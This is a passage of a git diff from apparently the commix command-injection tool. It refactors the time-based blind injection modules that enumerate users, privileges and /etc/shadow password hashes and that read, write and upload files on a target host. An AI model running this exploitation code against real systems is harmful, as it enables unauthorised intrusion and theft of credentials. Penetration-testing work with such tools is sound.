"Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print("\n" + settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration @@ -74,26 +54,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if shell: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_hostname(shell, filename, _) """ Retrieve system information @@ -139,20 +105,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output - if target_os and target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration @@ -164,26 +117,12 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, cu_account = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - cu_account = output - if cu_account: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user(cu_account, filename, _) """ Check if the current user has excessive privileges. @@ -195,26 +134,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_current_user_privs(shell, filename, _) """ System users enumeration @@ -222,17 +147,10 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: @@ -244,235 +162,24 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_users = output - # Windows users enumeration. - if settings.TARGET_OS == "win": - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + _ = True + if output == False: + output = "" + session_handler.store_cmd(url, cmd, output, vuln_parameter) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - if sys_passes == "": - sys_passes = " " - if sys_passes : - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + sys_passes = output + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -550,13 +257,27 @@ def reset(): if menu.options.users: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.passwords: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 6e98e94f6b..b292b45526 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.blind.techniques.time_based import tb_injector @@ -26,208 +27,97 @@ """ The "time-based" injection technique on Blind OS Command Injection. """ - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + _ = False + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.delete_tmp(tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "'" + cmd + "'" - dest_to_write = path + "\\" + filname + # cmd = "if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output + cmd = checks.write_content(content, dest_to_write) + cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" + cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + checks.file_write_status(shell, dest_to_write) """ Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass + cmd, dest_to_upload = checks.check_file_to_upload() + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) + +""" +Read a file from the target host. +""" +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + _ = False + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + _ = True else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: + print(settings.SINGLE_WHITESPACE) + checks.file_read_status(shell, file_to_read, filename) """ Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + if menu.options.file_write: + file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False: + settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True @@ -236,8 +126,4 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if 